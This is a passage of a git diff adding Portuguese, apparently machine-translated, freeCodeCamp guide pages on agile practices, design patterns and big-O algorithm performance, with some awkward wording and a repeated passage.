+*   Histórias de Usuário: [freeCodeCamp](https://guide.freecodecamp.org/agile/user-stories)
+*   Erros comuns ao usar pontos de história: [Médio](https://medium.com/bynder-tech/12-common-mistakes-made-when-using-story-points-f0bb9212d2f7)
+*   Poker de planejamento: [Software de cabra de montanha](https://www.mountaingoatsoftware.com/agile/planning-poker)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/sustainable-pace/index.md b/client/src/guide/portuguese/agile/sustainable-pace/index.md
new file mode 100644
index 0000000000..4742b51035
--- /dev/null
+++ b/client/src/guide/portuguese/agile/sustainable-pace/index.md
@@ -0,0 +1,11 @@
+---
+title: Sustainable Pace
+localeTitle: Ritmo Sustentável
+---
+## Ritmo Sustentável
+
+Um ritmo sustentável é o ritmo em que você e sua equipe podem trabalhar por longos períodos, até mesmo para sempre. Respeita seus fins de semana, noites, feriados e férias. Permite reuniões necessárias e tempo de desenvolvimento pessoal.
+
+#### Mais Informações:
+
+[O que é ritmo sustentável?](http://www.sustainablepace.net/what-is-sustainable-pace)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/task-boards-and-kanban/index.md b/client/src/guide/portuguese/agile/task-boards-and-kanban/index.md
new file mode 100644
index 0000000000..2f96e08766
--- /dev/null
+++ b/client/src/guide/portuguese/agile/task-boards-and-kanban/index.md
@@ -0,0 +1,35 @@
+---
+title: Task Boards and Kanban
+localeTitle: Painéis de Tarefas e Kanban
+---
+## Painéis de Tarefas e Kanban
+
+O Kanban é um excelente método tanto para equipes que desenvolvem software quanto para indivíduos que rastreiam suas tarefas pessoais.
+
+Derivado do termo em japonês para "tabuleta" ou "outdoor" para representar um sinal, o principal é limitar seu trabalho em andamento (WIP) a um número finito de tarefas em um determinado momento. A quantia que pode ser Em andamento é determinada pela capacidade restrita da equipe (ou do indivíduo). Quando uma tarefa é finalizada, esse é o sinal para você mover outra tarefa para frente em seu lugar.
+
+Suas tarefas Kanban são exibidas no Quadro de Tarefas em uma série de colunas que mostram o estado das tarefas. Na sua forma mais simples, três colunas são usadas
+
+*   Façam
+*   Fazendo
+*   Feito
+
+![Exemplo de prancha kanban](https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Simple-kanban-board-.jpg/600px-Simple-kanban-board-.jpg)
+
+_Imagem cortesia da [Wikipédia](https://en.wikipedia.org/wiki/Kanban_board)_
+
+Mas muitas outras colunas, ou estados, podem ser adicionadas. Uma equipe de software também pode incluir Waiting to Test, Complete ou Accepted, por exemplo.
+
+![Exemplo mais complicado](https://mktgcdn.leankit.com/uploads/images/general/_2048xAUTO_fit_center-center/1-SmalDevelopmentTeamKanbanBoard-eb79376d.png)
+
+_Imagem cortesia de [leankit](https://leankit.com/learn/kanban/kanban-board-examples-for-development-and-operations/)_
+
+### Mais Informações:
+
+*   O que é Kanban: [Leankit](https://leankit.com/learn/kanban/what-is-kanban/)
+*   O que é Kanban: [Atlassian](https://www.atlassian.com/agile/kanban)
+
+Algumas placas online
+
+*   [Trello](https://trello.com/)
+*   [KanbanFlow](https://kanbanflow.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/technical-debt/index.md b/client/src/guide/portuguese/agile/technical-debt/index.md
new file mode 100644
index 0000000000..e8b7627727
--- /dev/null
+++ b/client/src/guide/portuguese/agile/technical-debt/index.md
@@ -0,0 +1,16 @@
+---
+title: Technical Debt
+localeTitle: Dívida Técnica
+---
+## Dívida Técnica
+
+Muitas vezes, no desenvolvimento ágil, se você estiver produzindo software na prática "boa o suficiente", também estará aumentando sua dívida técnica. Este é o acúmulo de atalhos e contornos.
+
+Compare com dinheiro. Quando você cobra algo em um cartão de crédito, você se comprometeu a pagá-lo mais tarde. Quando você cria dívida técnica, sua equipe _deve se_ comprometer a abordar esses problemas em um cronograma.
+
+Um dos benefícios de trabalhar iterativamente é mostrar frequentemente seus incrementos e coletar feedback. Se o seu primeiro passe é "bom o suficiente", e as mudanças são necessárias como resultado desse feedback, você pode ter evitado algum trabalho desnecessário. Capture isso em seu backlog e inclua uma parte em cada sprint para refatoração ou melhoria.
+
+#### Mais Informações:
+
+*   A aliança ágil na [dívida técnica](https://www.agilealliance.org/introduction-to-the-technical-debt-concept/)
+*   Aliança Scrum sobre [Gestão de Dívida Técnica](https://www.scrumalliance.org/community/articles/2013/july/managing-technical-debt)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/test-driven-development/index.md b/client/src/guide/portuguese/agile/test-driven-development/index.md
new file mode 100644
index 0000000000..a44b8aa563
--- /dev/null
+++ b/client/src/guide/portuguese/agile/test-driven-development/index.md
@@ -0,0 +1,38 @@
+---
+title: Test Driven Development
+localeTitle: Desenvolvimento Orientado a Testes
+---
+## Desenvolvimento Orientado a Testes
+
+Test Driven Development (TDD) é uma das abordagens do Agile Software Development. Baseia-se no conceito de que
+
+> você deve escrever um caso de teste para o seu código mesmo antes de escrever o código
+
+Aqui, escrevemos primeiro o teste unitário e depois escrevemos o código para concluir o teste com sucesso. Isso economiza tempo gasto para realizar teste de unidade e outros testes semelhantes, pois estamos indo adiante com a iteração bem-sucedida do teste, além de levar à obtenção de modularidade no código. É basicamente composto por 4 etapas
+
+*   Escreva um caso de teste
+    
+*   Veja o teste falhar (vermelho)
+    
+*   Faça o teste passar, fazendo com que os crimes no processo (Verde)
+    
+*   Refatorar o código para estar de acordo com os padrões (Refatorar)
+    
+    Essas etapas seguem o princípio do Refator Vermelho-Verde. Red-Green certifique-se de escrever o código mais simples possível para resolver o problema, enquanto o último passo garante que o código que você escreve está de acordo com os padrões.
+    
+
+Cada novo recurso do seu sistema deve seguir as etapas acima.
+
+![fluxo de tdd](http://www.agiledata.org/images/tddSteps.jpg)
+
+#### Mais Informações:
+
+[Introdução](http://agiledata.org/essays/tdd.html) do Agile Data [ao TDD](http://agiledata.org/essays/tdd.html)
+
+Wiki no [TDD](https://en.wikipedia.org/wiki/Test-driven_development)
+
+Martin Fowler [está morto em TDD?](https://martinfowler.com/articles/is-tdd-dead/) (Uma série de conversas gravadas sobre o assunto)
+
+Livro de Kent Beck [Test Driven Development by Example](https://www.amazon.com/Test-Driven-Development-Kent-Beck/dp/0321146530)
+
+[Ciclos de TDD do](http://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html) tio Bob
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/the-agile-manifesto/index.md b/client/src/guide/portuguese/agile/the-agile-manifesto/index.md
new file mode 100644
index 0000000000..bfa85794ff
--- /dev/null
+++ b/client/src/guide/portuguese/agile/the-agile-manifesto/index.md
@@ -0,0 +1,42 @@
+---
+title: The Manifesto
+localeTitle: O Manifesto
+---
+## O Manifesto
+
+### Origem
+
+> Em 11 e 13 de fevereiro de 2001, na estância de esqui The Lodge at Snowbird, nas montanhas de Wasatch, em Utah, dezessete pessoas se encontraram para conversar, esquiar, relaxar e tentar encontrar um terreno comum - e, é claro, comer. \[…\] Agora, um encontro maior de anarquistas organizacionais seria difícil de encontrar, então o que emergiu dessa reunião foi simbólico - um Manifesto para o Desenvolvimento Ágil de Software - assinado por todos os participantes. (1)
+
+### Manifesto para desenvolvimento ágil de software
+
+Estamos descobrindo maneiras melhores de desenvolver software fazendo isso e ajudando os outros a fazerem isso.
+
+Através deste trabalho, nós passamos a valorizar
+
+*   **Indivíduos e interações** sobre processos e ferramentas.
+*   **Software de trabalho** sobre documentação abrangente.
+*   **Colaboração do cliente** sobre negociação de contrato.
+*   **Respondendo para mudar** depois de um plano.
+
+Ou seja, enquanto houver valor nos itens à direita, valorizamos mais os itens à esquerda.
+
+### Doze Princípios do Software Ágil
+
+1.  Nossa maior prioridade é satisfazer o cliente através da entrega antecipada e contínua de software valioso.
+2.  Bem-vindo mudanças nos requisitos, mesmo no final do desenvolvimento. Os processos ágeis aproveitam as mudanças para a vantagem competitiva do cliente.
+3.  Entregue software de trabalho com frequência, de algumas semanas a alguns meses, com uma preferência pela menor escala de tempo.
+4.  Empresários e desenvolvedores devem trabalhar juntos diariamente durante todo o projeto.
+5.  Construa projetos em torno de indivíduos motivados. Dê a eles o ambiente e o suporte de que precisam e confie neles para realizar o trabalho.
+6.  O método mais eficiente e eficaz de transmitir informações para e dentro de uma equipe de desenvolvimento é a conversa face a face.
+7.  O software de trabalho é a principal medida de progresso.
+8.  Processos ágeis promovem o desenvolvimento sustentável. Os patrocinadores, desenvolvedores e usuários devem ser capazes de manter um ritmo constante indefinidamente.
+9.  A atenção contínua à excelência técnica e ao bom design aumenta a agilidade.
+10.  Simplicidade - a arte de maximizar a quantidade de trabalho não realizado - é essencial.
+11.  As melhores arquiteturas, requisitos e projetos emergem de equipes auto-organizadas.
+12.  Em intervalos regulares, a equipe reflete sobre como se tornar mais eficiente, depois ajusta e ajusta seu comportamento de acordo.
+
+#### Mais Informações:
+
+*   [(1) História: O Manifesto Ágil](http://agilemanifesto.org/history.html)
+*   [Manifesto Ágil](http://agilemanifesto.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/user-acceptance-tests/index.md b/client/src/guide/portuguese/agile/user-acceptance-tests/index.md
new file mode 100644
index 0000000000..9e3c29ce31
--- /dev/null
+++ b/client/src/guide/portuguese/agile/user-acceptance-tests/index.md
@@ -0,0 +1,54 @@
+---
+title: User Acceptance Tests
+localeTitle: Testes de Aceitação do Usuário
+---
+## Testes de Aceitação do Usuário
+
+Na engenharia e suas várias subdisciplinas, o teste de aceitação é um teste conduzido para determinar se os requisitos de uma especificação ou contrato são atendidos. Pode envolver testes químicos, testes físicos ou testes de desempenho.
+
+Na engenharia de sistemas, pode envolver testes de caixa preta realizados em um sistema (por exemplo: um software, muitas peças mecânicas manufaturadas ou lotes de produtos químicos) antes de sua entrega.
+
+No teste de software, o ISTQB define aceitação como: teste formal com relação às necessidades do usuário, requisitos e processos de negócios realizados para determinar se um sistema satisfaz os critérios de aceitação e para permitir que o usuário, clientes ou outra entidade autorizada determine se aceita ou não o sistema. O teste de aceitação também é conhecido como teste de aceitação do usuário (UAT), teste do usuário final, teste de aceitação operacional (OAT) ou teste de campo (aceitação).
+
+Um teste de fumaça pode ser usado como um teste de aceitação antes de introduzir uma compilação de software no processo de teste principal.
+
+Uma das etapas finais do teste de software é o teste de aceitação do usuário (UAT). O UAT garante que usuários reais possam usar o software. Também chamado de teste beta, aplicativo e usuário final.
+
+O UAT verifica se tudo funciona corretamente e se não há falhas. Aqueles do público-alvo devem completar o teste; Isso pode ser composto de muitas pessoas envolvidas no processo e qualquer um que é capaz de testar antes de ir ao vivo. O feedback deste teste é encaminhado para a equipe de desenvolvimento para quaisquer alterações específicas.
+
+#### Por que precisamos de UAT
+
+*   Alterações de requisitos podem não ter sido comunicadas aos desenvolvedores
+    
+*   O software pode não estar entregando realmente o que significou para
+    
+*   Alguma lógica ou processo de negócios pode precisar da atenção do usuário
+    
+
+#### O que é necessário antes de começarmos o UAT
+
+*   O requriement completo é assinado e está disponível como documentado
+    
+*   O código está em funcionamento ou em condição demo
+    
+*   UAT é ambiente está pronto para acesso
+    
+*   Não deve haver qualquer defeito que irá quebrar o código
+    
+*   Dados de teste preparados de acordo com o scneario AO VIVO
+    
+
+#### Framework e ferramentas usadas
+
+*   FitNesse
+
+#### Artigos sobre o UAT
+
+*   [7 CHAVES PARA UM TESTE DE ACEITAÇÃO DE USUÁRIO BEM SUCEDIDO](http://blog.debugme.eu/successful-user-acceptance-testing/)
+    
+*   [AgileUAT: uma estrutura para teste de aceitação do usuário baseado em Histórias de Usuários e Critérios de Aceitação](http://research.ijcaonline.org/volume120/number10/pxc3903533.pdf)
+    
+
+#### Mais Informações:
+
+https://en.wikipedia.org/wiki/Acceptance\_testing
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/user-stories/index.md b/client/src/guide/portuguese/agile/user-stories/index.md
new file mode 100644
index 0000000000..93c217b3df
--- /dev/null
+++ b/client/src/guide/portuguese/agile/user-stories/index.md
@@ -0,0 +1,28 @@
+---
+title: User Stories
+localeTitle: Histórias de Usuários
+---
+As histórias de usuários são parte de uma abordagem ágil que ajuda a mudar o foco de escrever sobre os requisitos para falar sobre eles. Todas as histórias de usuários ágeis incluem uma sentença escrita ou duas e, mais importante, uma série de conversas sobre a funcionalidade desejada.
+
+As histórias do usuário geralmente são gravadas usando o seguinte padrão:
+
+#### Como \[tipo de usuário\], quero \[algum objetivo\] para que \[algum motivo ou necessidade\]
+
+As histórias de usuários devem ser escritas em termos não técnicos da perspectiva do usuário. A história deve enfatizar a necessidade do usuário, e não o como. Não deve haver nenhuma solução fornecida na história do usuário.
+
+Um erro comum cometido ao escrever histórias de usuários é escrever da perspectiva do desenvolvedor ou da solução. Certifique-se de declarar a meta e a necessidade, e os requisitos funcionais vêm depois.
+
+#### Dimensionando uma história de usuário: epopeias e pequenas histórias
+
+Um épico é uma história grande e grosseira. Normalmente, ele é dividido em várias histórias de usuários ao longo do tempo - aproveitando o feedback do usuário sobre os primeiros protótipos e os incrementos de produtos. Você pode pensar nisso como uma manchete e um espaço reservado para histórias mais detalhadas.
+
+Começar com épicos permite esboçar a funcionalidade do produto sem se comprometer com os detalhes. Isso é particularmente útil para descrever novos produtos e recursos: ele permite que você capture o escopo aproximado e adquira um tempo para aprender mais sobre como melhor atender às necessidades dos usuários.
+
+Também reduz o tempo e o esforço necessários para integrar novos insights. Se você tem muitas histórias detalhadas no backlog do produto, muitas vezes é complicado e demorado relacionar o feedback com os itens apropriados, o que acarreta o risco de introduzir inconsistências.
+
+Ao pensar em possíveis histórias, também é importante considerar histórias de "casos de usuários mal-intencionados" e "caminhos infelizes". Como as exceções serão tratadas pelo sistema? Que tipo de mensagens você fornecerá ao usuário? Como um usuário mal-intencionado abusaria dessa função de aplicativo? Essas histórias ruins podem economizar o retrabalho e tornar-se casos de teste úteis no controle de qualidade.
+
+#### Mais Informações:
+
+*   [Guia de software de cabra de montanha para histórias de usuário](https://www.mountaingoatsoftware.com/agile/user-stories)
+*   [Roman Pichler Guia para Histórias de Usuários](http://www.romanpichler.com/blog/10-tips-writing-good-user-stories/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/value-stream-mapping/index.md b/client/src/guide/portuguese/agile/value-stream-mapping/index.md
new file mode 100644
index 0000000000..79617152cd
--- /dev/null
+++ b/client/src/guide/portuguese/agile/value-stream-mapping/index.md
@@ -0,0 +1,17 @@
+---
+title: Value Stream Mapping
+localeTitle: Mapeamento do Fluxo de Valor
+---
+## Mapeamento do Fluxo de Valor
+
+**O mapeamento do fluxo de valor** é uma técnica de desenvolvimento de software enxuta. Isso ajuda a identificar o desperdício de recursos em termos de material, esforço, custo e tempo.
+
+Calcular a eficiência do ciclo do processo é uma das maneiras de descobrir a eficiência do processo AS-IS.
+
+**Eficiência do ciclo de processo = Tempo gasto em valor agregado / tempo total de ciclo.**
+
+Quanto maior o valor, melhor a eficiência.
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Value_stream_mapping)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/vanity-metrics/index.md b/client/src/guide/portuguese/agile/vanity-metrics/index.md
new file mode 100644
index 0000000000..0ae6c3a771
--- /dev/null
+++ b/client/src/guide/portuguese/agile/vanity-metrics/index.md
@@ -0,0 +1,27 @@
+---
+title: Vanity Metrics
+localeTitle: Métricas de vaidade
+---
+## Métricas de vaidade
+
+Onde Vaidade é o valor da aparência em detrimento da qualidade, a Vanity Metrics é uma medida que, sem contexto ou explicação, é usada para fazer com que alguém ou algo pareça bom. Eric Ries, postando na [Harvard Business Review](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics) , sugere que as métricas devem ser **acionáveis** , **acessíveis** e **auditáveis** para ter significado.
+
+![Métricas de vaidade](https://i.pinimg.com/originals/d4/ea/9a/d4ea9ade0de05a5707e11b325a37d5fb.jpg)
+
+Exemplos:
+
+*   Usuários registrados vs usuários ativos
+*   Histórias de usuários aceitas vs Valor entregue ao cliente
+*   Seguidores do Twitter vs Retweets
+
+![Questões de valor](https://blog.kissmetrics.com/wp-content/uploads/2012/01/increasing-pageviews-flat-revenues.png) _imagem via kissmetrics_
+
+#### Mais Informações:
+
+Fizzle em [Actionable vs Vanity Metrics](https://fizzle.co/sparkline/vanity-vs-actionable-metrics)
+
+Revisão de negócios de Harvard sobre [métricas de vaidade](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics)
+
+Forbes [ignora métricas de vaidade e se concentra no engajamento](https://www.forbes.com/sites/sujanpatel/2015/05/13/why-you-should-ignore-vanity-metrics-focus-on-engagement-metrics-instead/#1342fdeb12a9)
+
+kissmetrics [Jogue fora as métricas da vaidade](https://blog.kissmetrics.com/throw-away-vanity-metrics/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/velocity/index.md b/client/src/guide/portuguese/agile/velocity/index.md
new file mode 100644
index 0000000000..4468f17c36
--- /dev/null
+++ b/client/src/guide/portuguese/agile/velocity/index.md
@@ -0,0 +1,13 @@
+---
+title: Velocity
+localeTitle: Velocidade
+---
+## Velocidade
+
+Em uma equipe Scrum, você determina a velocidade no final de cada iteração. É simplesmente a soma dos Pontos de História completados dentro do timebox.
+
+Ter uma velocidade previsível e consistente permite que sua equipe planeje suas iterações com alguma confiança, trabalhe de forma sustentável e faça previsões, com dados empíricos, da quantidade de escopo a ser incluída em cada release.
+
+#### Mais Informações:
+
+The Scrum Alliance on [Velocity](https://www.scrumalliance.org/community/articles/2014/february/velocity)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/agile/voice-of-the-customer/index.md b/client/src/guide/portuguese/agile/voice-of-the-customer/index.md
new file mode 100644
index 0000000000..ea8b49a1da
--- /dev/null
+++ b/client/src/guide/portuguese/agile/voice-of-the-customer/index.md
@@ -0,0 +1,14 @@
+---
+title: Voice of the Customer
+localeTitle: Voz do Cliente
+---
+## Voz do Cliente
+
+Você, como proprietário do produto (PO), é a voz do cliente para a equipe de entrega. Quando a equipe precisar de esclarecimentos sobre uma história, para entender melhor o quê e o porquê, eles perguntarão a você.  
+Você entende as necessidades, motivações e resultados desejados do cliente à medida que eles mudam ao longo do projeto.
+
+#### Mais Informações:
+
+Aliança Scrum no [Product Owner](https://www.scrumalliance.org/community/articles/2014/july/who-is-your-product-owner)
+
+Agile Alliance no [Product Owner](https://www.agilealliance.org/glossary/product-owner/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/algorithm-design-patterns/behavioral-patterns/index.md b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/behavioral-patterns/index.md
new file mode 100644
index 0000000000..d99f327abe
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/behavioral-patterns/index.md
@@ -0,0 +1,31 @@
+---
+title: Behavioral patterns
+localeTitle: Padrões comportamentais
+---
+## Padrões comportamentais
+
+Padrões de design comportamental são padrões de design que identificam problemas comuns de comunicação entre objetos e realizam esses padrões. Ao fazer isso, esses padrões aumentam a flexibilidade na execução dessa comunicação, tornando o software mais confiável e fácil de manter.
+
+Exemplos desse tipo de padrão de design incluem:
+
+1.  **Padrão de cadeia de responsabilidade** : objetos de comando são manipulados ou passados ​​para outros objetos por objetos de processamento contendo lógica.
+2.  **Padrão de comando** : os objetos de comando encapsulam uma ação e seus parâmetros.
+3.  **Padrão de intérprete** : Implemente uma linguagem de computador especializada para resolver rapidamente um conjunto específico de problemas.
+4.  **Padrão de iterador** : os iteradores são usados ​​para acessar os elementos de um objeto agregado seqüencialmente sem expor sua representação subjacente.
+5.  **Padrão do mediador** : fornece uma interface unificada para um conjunto de interfaces em um subsistema.
+6.  **Padrão de memento** : fornece a capacidade de restaurar um objeto ao estado anterior (reversão).
+7.  **Padrão de Objeto Nulo** : Projetado para atuar como um valor padrão de um objeto.
+8.  **Padrão de observador** : também conhecido como **Publish / Subscribe** ou **Event Listener** . Objetos registram para observar um evento que pode ser gerado por outro objeto.
+9.  **Padrão de referência fraco** : Desacoplar um observador de um observável.
+10.  **Pilha de protocolos** : as comunicações são tratadas por várias camadas, que formam uma hierarquia de encapsulamento.
+11.  **Padrão de** tarefa agendada: uma tarefa é agendada para ser executada em um intervalo ou hora de relógio específicos (usados ​​na computação em tempo real).
+12.  **Padrão de visitante de veiculação única** : otimize a implementação de um visitante alocado, usado apenas uma vez e depois excluído.
+13.  **Padrão de especificação** : lógica de negócios recombinável de maneira booleana.
+14.  **Padrão de estado** : uma maneira limpa para um objeto alterar parcialmente seu tipo em tempo de execução.
+15.  **Padrão de estratégia** : Algoritmos podem ser selecionados na hora.
+16.  **Padrão de método de modelo** : Descreve o esqueleto do programa de um programa.
+17.  **Padrão de visitante** : uma maneira de separar um algoritmo de um objeto.
+
+### Fontes
+
+[https://en.wikipedia.org/wiki/Behavioral\_pattern](https://en.wikipedia.org/wiki/Behavioral_pattern)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/algorithm-design-patterns/creational-patterns/index.md b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/creational-patterns/index.md
new file mode 100644
index 0000000000..99ab82daf6
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/creational-patterns/index.md
@@ -0,0 +1,21 @@
+---
+title: Creational patterns
+localeTitle: Padrões Criacionais
+---
+## Padrões Criacionais
+
+Os padrões de design criativos são padrões de design que lidam com mecanismos de criação de objetos, tentando criar objetos de maneira adequada à situação. A forma básica de criação de objetos pode resultar em problemas de design ou em complexidade adicional ao design. Padrões de design criativos resolvem esse problema controlando de alguma forma a criação desse objeto.
+
+Padrões de design criativos são compostos de duas idéias dominantes. Uma é encapsular o conhecimento sobre quais classes concretas o sistema usa. Outra é esconder como instâncias dessas classes concretas são criadas e combinadas.
+
+Cinco padrões de design bem conhecidos que são partes de padrões criacionais são:
+
+1.  **Padrão de fábrica abstrato** , que fornece uma interface para criar objetos relacionados ou dependentes sem especificar as classes concretas dos objetos.
+2.  **Padrão de construtor** , que separa a construção de um objeto complexo de sua representação para que o mesmo processo de construção possa criar diferentes representações.
+3.  **Padrão de método de fábrica** , que permite que uma classe adie a instanciação para subclasses.
+4.  **Prototype pattern** , que especifica o tipo de objeto a ser criado usando uma instância prototípica e cria novos objetos clonando esse protótipo.
+5.  **Padrão Singleton** , que garante que uma classe tenha apenas uma instância e fornece um ponto global de acesso a ela.
+
+### Fontes
+
+1.  [Gamma, Erich; Helm, Richard; Johnson, Ralph; Vlissides, John (1995). Padrões de design. Massachusetts: Addison-Wesley p. 81. ISBN 978-0-201-63361-0. Recuperado 2015-05-22.](http://www.pearsoned.co.uk/bookshop/detail.asp?item=171742)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/algorithm-design-patterns/index.md b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/index.md
new file mode 100644
index 0000000000..268bcd1f98
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/index.md
@@ -0,0 +1,27 @@
+---
+title: Algorithm Design Patterns
+localeTitle: Padrões de Design de Algoritmo
+---
+## Padrões de Design de Algoritmo
+
+Na engenharia de software, um padrão de projeto é uma solução geral repetível para um problema que ocorre com frequência no design de software. Um padrão de design não é um design acabado que pode ser transformado diretamente em código. É uma descrição ou modelo de como resolver um problema que pode ser usado em muitas situações diferentes.
+
+Os padrões de design podem acelerar o processo de desenvolvimento, fornecendo paradigmas de desenvolvimento testados e comprovados.
+
+Esses padrões são divididos em três categorias principais:
+
+### Padrões Criacionais
+
+São padrões de design que lidam com mecanismos de criação de objetos, tentando criar objetos de maneira adequada à situação. A forma básica de criação de objetos pode resultar em problemas de design ou em complexidade adicional ao design. Padrões de design criativos resolvem esse problema controlando de alguma forma a criação desse objeto.
+
+### Padrões Estruturais
+
+Esses são padrões de design que facilitam o design, identificando uma maneira simples de realizar relacionamentos entre entidades.
+
+### Padrões comportamentais
+
+Estes são padrões de design que identificam padrões comuns de comunicação entre objetos e realizam esses padrões. Ao fazer isso, esses padrões aumentam a flexibilidade na execução dessa comunicação.
+
+#### Mais Informações:
+
+[Padrões de design - Wikipedia](https://en.wikipedia.org/wiki/Design_Patterns)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/algorithm-design-patterns/structual-patterns/index.md b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/structual-patterns/index.md
new file mode 100644
index 0000000000..5e94a9b5c6
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/algorithm-design-patterns/structual-patterns/index.md
@@ -0,0 +1,29 @@
+---
+title: Structural patterns
+localeTitle: Padrões Estruturais
+---
+## Padrões Estruturais
+
+Os padrões de design estrutural são padrões de design que facilitam o design, identificando uma maneira simples de realizar relacionamentos entre entidades e são responsáveis ​​por criar hierarquias de classes simples e eficientes entre diferentes classes.
+
+Exemplos de Padrões Estruturais incluem:
+
+1.  **Padrão de adaptador** : 'adapta' uma interface para uma classe em uma que o cliente espera.
+2.  **Pipeline do adaptador** : use vários adaptadores para fins de depuração.
+3.  **Retrofit Interface Pattern** : Um adaptador usado como uma nova interface para várias classes ao mesmo tempo.
+4.  **Padrão agregado** : uma versão do padrão Composite com métodos de agregação de filhos.
+5.  **Padrão de ponte** : desacople uma abstração de sua implementação para que os dois possam variar independentemente.
+6.  **Lápide** : Um objeto de "pesquisa" intermediário contém a localização real de um objeto.
+7.  **Padrão composto** : uma estrutura de árvore de objetos onde cada objeto tem a mesma interface.
+8.  **Padrão de decorador** : adicione funcionalidade adicional a uma classe em tempo de execução, onde a subclasse resultaria em um aumento exponencial de novas classes.
+9.  **Padrão de extensibilidade** : também conhecido como Framework - esconda código complexo por trás de uma interface simples.
+10.  **Padrão de fachada** : crie uma interface simplificada de uma interface existente para facilitar o uso de tarefas comuns.
+11.  **Padrão de peso-mosca** : uma grande quantidade de objetos compartilha um objeto de propriedades comuns para economizar espaço.
+12.  **Padrão de marcador** : uma interface vazia para associar metadados a uma classe.
+13.  **Tubos e filtros** : uma cadeia de processos em que a saída de cada processo é a entrada do próximo.
+14.  **Ponteiro opaco** : um ponteiro para um tipo não declarado ou particular, para ocultar detalhes da implementação.
+15.  **Proxy padrão** uma classe funcionando como uma interface para outra coisa.
+
+### Fontes
+
+[https://en.wikipedia.org/wiki/Structural\_pattern](https://en.wikipedia.org/wiki/Structural_pattern)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/algorithm-performance/index.md b/client/src/guide/portuguese/algorithms/algorithm-performance/index.md
new file mode 100644
index 0000000000..9791863062
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/algorithm-performance/index.md
@@ -0,0 +1,93 @@
+---
+title: Algorithm Performance
+localeTitle: Desempenho do Algoritmo
+---
+Em matemática, notação big-O é um simbolismo usado para descrever e comparar o _comportamento limitante_ de uma função.  
+O comportamento limitador de uma função é como a função atua à medida que tende a um valor particular e, na notação big-O, é geralmente como ela se aproxima do infinito.  
+Em resumo, a notação big-O é usada para descrever o crescimento ou declínio de uma função, geralmente com relação a outra função.
+
+no design de algoritmos, normalmente usamos notação big-O, porque podemos ver quão bom ou ruim um algoritmo funcionará no pior modo. mas tenha isso em mente, nem sempre é o caso, porque o pior caso pode ser super raro e, nesses casos, calculamos o caso médio. por ora, para que não seja notado a notação big-O.
+
+Em matemática, notação big-O é um simbolismo usado para descrever e comparar o _comportamento limitante_ de uma função.
+
+O comportamento limitante de uma função é como a função atua à medida que ela se aproxima de um valor particular e, na notação big-O, geralmente ela se aproxima do infinito.
+
+Em resumo, a notação big-O é usada para descrever o crescimento ou declínio de uma função, geralmente com relação a outra função.
+
+NOTA: x ^ 2 é equivalente a x \* x ou 'x-quadrado'\]
+
+Por exemplo, dizemos que x = O (x ^ 2) para todo x> 1 ou, em outras palavras, x ^ 2 é um limite superior em x e, portanto, cresce mais rápido.  
+O símbolo de uma afirmação como x = O (x ^ 2) para todo x> _n_ pode ser substituído por x <= x ^ 2 para todo x> _n_ onde _n_ é o número mínimo que satisfaz a afirmação, neste caso 1.
+
+Efetivamente, dizemos que uma função f (x) que é O (g (x)) cresce mais lentamente que g (x).
+
+Comparativamente, na ciência da computação e no desenvolvimento de software, podemos usar a notação big-O para descrever a eficiência dos algoritmos por meio de sua complexidade de tempo e espaço.
+
+**Complexidade** de **espaço** de um algoritmo refere-se à sua pegada de memória em relação ao tamanho de entrada.
+
+Especificamente, ao usar a notação big-O, estamos descrevendo a eficiência do algoritmo em relação a uma entrada: _n_ , geralmente à medida que _n se_ aproxima do infinito.  
+Ao examinar algoritmos, geralmente queremos menor complexidade de tempo e espaço. A complexidade temporal de o (1) é indicativa de tempo constante.
+
+Através da comparação e análise de algoritmos, somos capazes de criar aplicações mais eficientes.
+
+Para o desempenho do algoritmo, temos dois fatores principais:
+
+*   **Tempo** : precisamos saber quanto tempo leva para executar um algoritmo para nossos dados e como ele crescerá de acordo com o tamanho dos dados (ou, em alguns casos, outros fatores, como número de dígitos e etc).
+    
+*   **Espaço** : nossa memória é fina, então temos que saber quanto espaço livre precisamos para esse algoritmo e, como o tempo, precisamos ser capazes de rastrear seu crescimento.
+    
+
+As seguintes 3 notações são usadas principalmente para representar a complexidade de tempo dos algoritmos:
+
+1.  **Θ Notação** : A notação teta limita as funções acima e abaixo, de modo que define o comportamento exato. podemos dizer que temos a notação theta quando o pior e o melhor caso são os mesmos.
+    
+    > G (g (n)) = {f (n): existem constantes positivas c1, c2 e n0 tais que 0 <= c1 _g (n) <= f (n) <= c2_ g (n) para todo n> = n0}
+    
+2.  **Big O Notation** : A notação Big O define um limite superior de um algoritmo. Por exemplo, Insertion Sort toma o tempo linear no melhor caso e no tempo quadrático no pior dos casos. Podemos dizer com segurança que a complexidade temporal da ordenação Insertion é _O_ ( _n ^ 2_ ).
+    
